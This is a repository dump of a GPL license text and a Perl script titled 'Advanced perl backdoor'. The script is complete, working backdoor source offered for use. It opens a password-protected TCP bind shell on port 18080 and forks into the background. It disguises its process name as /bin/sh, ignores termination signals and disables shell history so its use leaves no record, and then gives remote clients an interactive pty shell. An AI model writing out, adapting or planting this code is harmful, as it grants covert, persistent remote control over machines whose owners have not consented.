├── LICENSE └── perl-backdoor.pl /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. 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It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | {one line to give the program's name and a brief idea of what it does.} 635 | Copyright (C) {year} {name of author} 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | {project} Copyright (C) {year} {fullname} 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | 676 | -------------------------------------------------------------------------------- /perl-backdoor.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | # 3 | # Advanced perl backdoor 4 | # 5 | # http://www.purificato.org 6 | # https://github.com/bunk3r/perlbackdoor 7 | # 8 | use warnings; 9 | use strict; 10 | use IO::Socket; 11 | use IO::Select; 12 | use POSIX; 13 | 14 | my $PORT = 18080; 15 | # perl -e '$pass="yourpassword"; print crypt($pass,substr($pass,2))."\n"' 16 | my $PASSWORD = 'c1p05Qn9nY3LE'; 17 | my $SHELL = "/bin/sh"; 18 | my $HOME = "/tmp"; 19 | my $PROC = "/bin/sh"; 20 | my $PROMPT = "P-> "; 21 | my @STTY = ('sane', 'echoe', 'echoctl', 'echoke', '-ixany'); 22 | 23 | $ENV{HOME} = $HOME; 24 | $ENV{PS1} = '\u@\h:\w\$ '; 25 | $ENV{PATH} = '/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/ucb'; 26 | $ENV{HISTFILE} = '/dev/null'; 27 | $ENV{USER} = 'root'; 28 | $ENV{LOGNAME} = 'root'; 29 | $ENV{LS_OPTIONS} = ' --color=auto -F -b -T 0'; 30 | $ENV{LS_COLORS} = 'LS_COLORS=no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:su=37;41:sg=30;43:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.bz2=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.avi=01;35:*.fli=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.flac=01;35:*.mp3=01;35:*.mpc=01;35:*.ogg=01;35:*.wav=01;35:'; 31 | $ENV{SHELL} = $SHELL; 32 | $ENV{TERM} = 'xterm'; 33 | 34 | $0 = $PROC."\0"; 35 | 36 | $SIG{HUP} = 'IGNORE'; 37 | $SIG{TERM} = 'IGNORE'; 38 | $SIG{CHLD} = sub { wait; }; 39 | 40 | my %IOCTLDEF; 41 | $IOCTLDEF{TIOCSWINSZ} = 0x5414; 42 | $IOCTLDEF{TIOCNOTTY} = 0x5422; 43 | $IOCTLDEF{TIOCSCTTY} = 0x540E; 44 | 45 | # 46 | # BSD 47 | # 48 | safeload('sys/ttycom.ph', 1); 49 | safeload('sys/ioctl.ph', 1); 50 | safeload('asm/ioctls.ph', 1); 51 | 52 | foreach my $IOCTL (keys(%IOCTLDEF)) { 53 | next if (defined(&{$IOCTL})); 54 | # 55 | # linux 56 | # 57 | if (open(IOD, "< /usr/include/asm/ioctls.h")) { 58 | while() { 59 | if (/^\#define\s+$IOCTL\s+(.*?)\n$/) { 60 | eval "sub $IOCTL () {$1;}"; 61 | last; 62 | } 63 | } 64 | close(IOD); 65 | } 66 | eval "sub $IOCTL () { $IOCTLDEF{$IOCTL};}" unless (defined(&{$IOCTL})); 67 | } 68 | 69 | # 70 | # NO DEFAULT PORT 71 | # 72 | $PORT = $ARGV[0] if ($ARGV[0]); 73 | 74 | my $bind = IO::Socket::INET->new(Listen=>1, LocalPort=>$PORT, Proto=>"tcp") or die "$!"; 75 | 76 | defined(my $pid = fork) 77 | or die "$!"; 78 | exit if $pid; 79 | 80 | my %CLIENT; 81 | my $sel_serv = IO::Select->new($bind); 82 | my $sel_shell = IO::Select->new(); 83 | 84 | # 85 | # MAIN LOOP 86 | # 87 | while (1) { 88 | select(undef,undef,undef, 0.3) if (scalar(keys(%CLIENT)) == 0); 89 | read_clients(); 90 | read_shells(); 91 | } 92 | 93 | sub read_clients { 94 | map { read_client($_) } ($sel_serv->can_read(0.01)); 95 | } 96 | 97 | sub read_shells { 98 | map { read_shell($_) } ($sel_shell->can_read(0.01)); 99 | } 100 | 101 | 102 | sub read_client { 103 | my $fh = shift; 104 | if ($fh eq $bind) { 105 | my $newcon = $bind->accept; 106 | $sel_serv->add($newcon); 107 | $CLIENT{$newcon}->{senha} = 0; 108 | $CLIENT{$newcon}->{sock} = $newcon; 109 | $fh->autoflush(1); 110 | do_client($newcon, '3', '5', '1'); 111 | sleep(1); 112 | write_client($newcon, $PROMPT) if ($PROMPT); 113 | } else { 114 | my $msg; 115 | my $nread = sysread($fh, $msg, 1024); 116 | if ($nread == 0) { 117 | close_client($fh); 118 | } else { 119 | telnet_parse($fh, $msg); 120 | } 121 | } 122 | } 123 | 124 | sub telnet_parse { 125 | my ($cli, $msg) = @_; 126 | my $char = (split('', $msg))[0]; 127 | if (ord($char) == 255) { 128 | chr_parse($cli, $msg); 129 | } else { 130 | if ($CLIENT{$cli}->{senha} == 0) { 131 | $CLIENT{$cli}->{buf} .= $msg; 132 | return() unless ($msg =~ /\r|\n/); 133 | my $pass = $CLIENT{$cli}->{buf}; 134 | $CLIENT{$cli}->{buf} = ''; 135 | $pass =~ s/\n//g; 136 | $pass =~ s/\0//g; 137 | $pass =~ s/\r//g; 138 | if (crypt($pass, $PASSWORD) ne $PASSWORD) { 139 | close_client($cli); 140 | } else { 141 | $CLIENT{$cli}->{senha} = 1; 142 | write_client($cli, "\r\n\r"); 143 | new_shell($cli); 144 | } 145 | return(); 146 | } 147 | $msg =~ s/\r\n\0\0//g; 148 | $msg =~ s/\0//g; 149 | $msg =~ s/\r\n/\n/g; 150 | write_shell($cli, $msg); 151 | } 152 | } 153 | 154 | sub read_shell { 155 | my $shell = shift; 156 | my $cli; 157 | map { $cli = $CLIENT{$_}->{sock} if ($CLIENT{$_}->{shell} eq $shell) } keys(%CLIENT); 158 | my $msg; 159 | my $nread = sysread($shell, $msg, 1024); 160 | unless (defined $nread) { 161 | close_client($cli); 162 | } else { 163 | write_client($cli, $msg); 164 | } 165 | } 166 | 167 | sub to_chr { 168 | my $chrs = ''; 169 | map { $chrs .= chr($_) } (split(/ +/, shift)); 170 | return($chrs); 171 | } 172 | 173 | sub do_client { 174 | my ($client, @codes) = @_; 175 | map { write_client($client, chr(255).chr(251).chr($_)) } @codes; 176 | } 177 | 178 | sub chr_parse { 179 | my ($client, $chrs) = @_; 180 | my $ords = ''; 181 | map { $ords .= ord($_).' ' } (split(//, $chrs)); 182 | my $msg = ''; 183 | 184 | if ($ords =~ /255 250 31 (\d+) (\d+) (\d+) (\d+)/) { 185 | my $winsize = pack('C4', $4, $3, $2, $1); 186 | ioctl($CLIENT{$client}->{shell}, &TIOCSWINSZ, $winsize);# or die "$!"; 187 | } 188 | 189 | foreach my $code (split("255 ", $ords)) { 190 | if ($code =~ /(\d+) (.*)$/) { 191 | my $codes = $2; 192 | if ($1 == 251) { 193 | $msg .= chr(255).chr(253); 194 | map { $msg .= chr($_) } (split(/ +/, $codes)); 195 | } 196 | } 197 | } 198 | write_client($client, $msg) if ($msg); 199 | return(1); 200 | } 201 | 202 | 203 | sub new_shell { 204 | my $cli = shift; 205 | POSIX::setpgid(0, 0); 206 | my ($tty, $pty); 207 | unless (($tty, $pty) = open_tty($cli)) { 208 | finish_client($cli, "ERROR: No more pty's avaliable\n"); 209 | return(undef); 210 | } 211 | my $pid = fork(); 212 | if (not defined($pid)) { 213 | finish_client($cli, "ERROR: fork()\n"); 214 | return(undef); 215 | } 216 | unless($pid) { 217 | close($pty); 218 | local(*DEVTTY); 219 | if (open (DEVTTY, "/dev/tty")) { 220 | ioctl(DEVTTY, &TIOCNOTTY, 0 );# or die "$!"; 221 | close(DEVTTY); 222 | } 223 | POSIX::setsid(); 224 | ioctl($tty, &TIOCSCTTY, 0);# or die "$!"; 225 | 226 | open (STDIN, "<&".fileno($tty)) or die "$!"; 227 | open (STDOUT, ">&".fileno($tty)) or die "$!"; 228 | open (STDERR, ">&".fileno($tty)) or die "$!"; 229 | close($tty); 230 | sleep(1); 231 | foreach my $stty ("/bin/stty", "/usr/bin/stty") { 232 | next unless (-x $stty); 233 | map { system("$stty", $_) } @STTY; 234 | } 235 | 236 | chdir("$HOME"); 237 | { exec("$SHELL") }; 238 | while (my $msg = ) { 239 | $msg =~ s/\n$//; 240 | $msg =~ s/\r$//; 241 | system("$msg 2>&1"); 242 | } 243 | exit; 244 | } 245 | close($tty); 246 | select($pty); $|++; 247 | select(STDOUT); 248 | set_raw($pty); 249 | $CLIENT{$cli}->{shell} = $pty; 250 | $sel_shell->add($pty); 251 | return(1); 252 | } 253 | 254 | 255 | sub set_raw($) { 256 | my $self = shift; 257 | return 1 if not POSIX::isatty($self); 258 | my $ttyno = fileno($self); 259 | my $termios = new POSIX::Termios; 260 | unless ($termios) { 261 | return undef; 262 | } 263 | unless ($termios->getattr($ttyno)) { 264 | return undef; 265 | } 266 | $termios->setiflag(0); 267 | $termios->setoflag(0); 268 | $termios->setlflag(0); 269 | $termios->setcc(&POSIX::VMIN, 1); 270 | $termios->setcc(&POSIX::VTIME, 0); 271 | unless ($termios->setattr($ttyno, &POSIX::TCSANOW)) { 272 | return undef; 273 | } 274 | return 1; 275 | } 276 | 277 | sub open_tty { 278 | no strict; 279 | my $cli = shift; 280 | my ($PTY, $TTY) = (*{"pty.$cli"}, *{"tty.$cli"}); 281 | for (my $i=0; $i<256; $i++) { 282 | my $pty = get_tty($i, "/dev/pty"); 283 | next unless (open($PTY, "+> $pty")); 284 | my $tty = get_tty($i, "/dev/tty"); 285 | unless(open($TTY, "+> $tty")) { 286 | close($PTY); 287 | next; 288 | } 289 | return($TTY, $PTY); 290 | } 291 | return(); 292 | } 293 | 294 | sub get_tty { 295 | my ($num, $base) = @_; 296 | my @series = ('p' .. 'z', 'a' .. 'e'); 297 | my @subs = ('0' .. '9', 'a' .. 'f'); 298 | my $buf = $base; 299 | $buf .= @series[($num >> 4) & 0xF]; 300 | $buf .= @subs[$num & 0xF]; 301 | return($buf); 302 | } 303 | 304 | sub safeload { 305 | my ($module, $require, $arg) = @_; 306 | my $file = $module; 307 | $file =~ s/::/\//g; 308 | if ($require) { 309 | map { eval ("require \"$_/$file\";") if(-f "$_/$file"); } @INC; 310 | } else { 311 | $file .= ".pm" unless ($file =~ /(\.pm|\.ph)$/); 312 | return(eval("use $module $arg;")) if (grep { -f "$_/$file" } @INC); 313 | } 314 | return; 315 | } 316 | 317 | sub write_shell { 318 | my ($cli, $msg) = @_; 319 | my $shell = $CLIENT{$cli}->{shell}; 320 | return(undef) unless($shell); 321 | foreach my $m (split_chars($msg, 20)) { 322 | read_shells(); 323 | print $shell $m; 324 | read_shells(); 325 | } 326 | return(1); 327 | } 328 | 329 | sub split_chars { 330 | no warnings; 331 | my ($msg, $nchars) = @_; 332 | my @splited; 333 | my @chrs = split ('', $msg); 334 | my $done = 0; 335 | while (1) { 336 | my $splited = join('', @chrs[$done .. ($done+$nchars-1)]); 337 | $done += $nchars; 338 | last if (length($splited) < 1); 339 | push(@splited, $splited); 340 | } 341 | return(@splited); 342 | } 343 | 344 | sub finish_client { 345 | my ($cli, $msg) = @_; 346 | write_client($cli, $msg); 347 | close_client($cli); 348 | } 349 | 350 | sub close_client { 351 | my $cli = shift; 352 | my $sock = $CLIENT{$cli}->{sock}; 353 | 354 | $sel_serv->remove($sock); 355 | if ($CLIENT{$cli}->{shell}) { 356 | my $shell = $CLIENT{$cli}->{shell}; 357 | $sel_shell->remove($shell); 358 | close($shell); 359 | } 360 | $sock->close() if($sock); 361 | delete($CLIENT{$cli}); 362 | } 363 | 364 | sub write_client { 365 | my ($cli, $msg) = @_; 366 | my $sock = $CLIENT{$cli}->{sock}; 367 | syswrite($sock, $msg, length($msg)) if ($sock); 368 | } 369 | --------------------------------------------------------------------------------